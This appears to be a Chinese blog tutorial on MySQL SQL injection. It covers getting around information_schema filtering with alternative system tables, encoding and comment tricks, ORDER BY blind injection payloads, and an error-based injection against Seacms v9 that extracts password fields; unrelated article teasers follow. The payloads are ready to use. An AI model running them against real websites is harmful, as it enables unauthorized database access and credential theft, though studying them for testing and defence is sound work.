绕过信息过滤与注入限制

server/2025/3/3 17:41:10/

绕过 information_schema 过滤

information_schema 是 MySQL 中存储元数据的系统数据库,常用于 SQL 注入中获取表名、列名等信息。当 information_schema 被过滤时,可以通过以下方法绕过。

1 替代视图

使用 sys 库(MySQL 5.7+)

sys 库是 MySQL 5.7 及以上版本提供的系统库,包含丰富的元数据信息。

数据库中:SELECT table_name FROM sys.schema_auto_increment_columns 
WHERE table_schema = DATABASE();

mysql.innodb_table_stats 表存储了 InnoDB 表的统计信息,可用于获取表名

数据库中:SELECT table_name FROM mysql.innodb_table_stats 
WHERE database_name = DATABASE();

2 编码混淆

通过编码混淆关键字,可以绕过简单的字符串过滤。

方法eg
URL%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicodeinformation\u005f_schema
十六进制0x696e666f726d6174696f6e5f736368656d61

3 语法变形

通过语法变形,可以绕过对关键字的直接过滤。

内联注释绕过

数据库中:

SELECT table_name FROM /*!information_schema*/.tables;

关键字分割

数据库中:

SELECT table_name FROM information/**/_schema.tables;

绕过 ORDER BY 注入限制

ORDER BY 注入是一种常见的 SQL 注入类型,通常用于盲注场景。以下是几种绕过限制的方法。

1 联合查询注入

通过联合查询,可以直接获取数据。

2 盲注技术类型

布尔盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配ORDER BY (SELECT table_name) REGEXP '^a'

3 分页提取数据

通过 LIMIT 和 OFFSET 分页提取数据

数据库中:

ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);

Seacmsv9 报错注入:

Seacmsv9 是一款常见的内容管理系统,曾存在报错注入漏洞。以下是漏洞利用过程与分析。

1 漏洞利用过程

通过构造恶意请求触发报错注入。

2 报错结果分析

成功回显数据库

密码字段截断处理

通过 MID() 函数分段读取密码字段

数据库中:extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))

3 常见问题排查

权限不足

字段过长

特殊字符


http://www.ppmy.cn/server/172134.html

相关文章

第8天:面向对象编程入门 - 类与对象

第8天:面向对象编程入门 - 类与对象 一、📚 今日学习目标 🎯 掌握类与对象的定义与使用🔧 理解封装、继承、多态三大特性💡 完成银行账户管理系统实战🛠️ 学会构造函数与析构函数的编写 二、⚙️ 核心知…

微前端架构深度解析:从组合式应用到模块联邦

引言:万亿级流量的前端架构革命 Amazon将主站迁移至微前端架构后,独立模块发布速度提升800%,日均部署次数突破1500次。阿里巴巴采用qiankun框架重构跨BU应用,首屏加载性能提升320%,资源复用率达92%。Salesforce通过Mo…

JavaScript 输入输出语句

在JavaScript中,输入和输出是与用户进行直接互动的关键方式。通过输入,我们可以从用户那里获取信息;通过输出,我们能向用户展示处理结果或其他重要信息。本文将详细介绍几种常见的JavaScript输入输出方法及其应用场景。 输出语句…

Kubernetes中的HeadlessService

在Kubernetes中,Service是一种抽象概念,它定义了一组Pod的逻辑集合以及访问这些Pod的策略。而HeadlessService(无头服务)是Service的一种特殊类型。 当创建Service时,将spec.clusterIP字段设置为None,就会…

使用mermaid查看cursor程序生成的流程图

一、得到cursor生成的流程图文本 cursor写的程序正常运行后,在对话框输入框中输入诸如“请生成扫雷的代码流程图”,然后cursor就把流程图给生成了,但是看到的还是文本的样子,保留这部分内容待用 二、注册一个Mermaid绘图账号 …

【SpringBoot+Vue】博客项目开发二:用户登录注册模块

后端用户模块开发 制定参数交互约束 当前,我们使用MybatisX工具快速生成的代码中,包含了一个实体类,这个类中包含我们数据表中的所有字段。 但因为有些字段,是不应该返回到前端的,比如用户密码,或者前端传…

ssm整合项目实现基础查询功能

目录 实现 1. 首先创建数据库 2. 创建项目 3. 右键main创建资源目录 4. 部署服务器 5. 注入相关依赖 6.创建层结构 7. 配置Spring 8. 配置SpringMVC 9. 配置Mybatis 10.创建实体类 11.创建Mapper接口和sql映射文件 12.创建服务层 13. 创建控制器层 实现 1. 首先创建数…

如何在 FastAdmin 中实现自定义主题设计

如何在 FastAdmin 中实现自定义主题设计 FastAdmin 是一个基于 ThinkPHP 和 Bootstrap 的快速开发框架,广泛用于构建管理后台。为了满足不同项目的需求,FastAdmin 允许开发者自定义主题设计。本文将介绍如何在 FastAdmin 中实现自定义主题设计&#xff…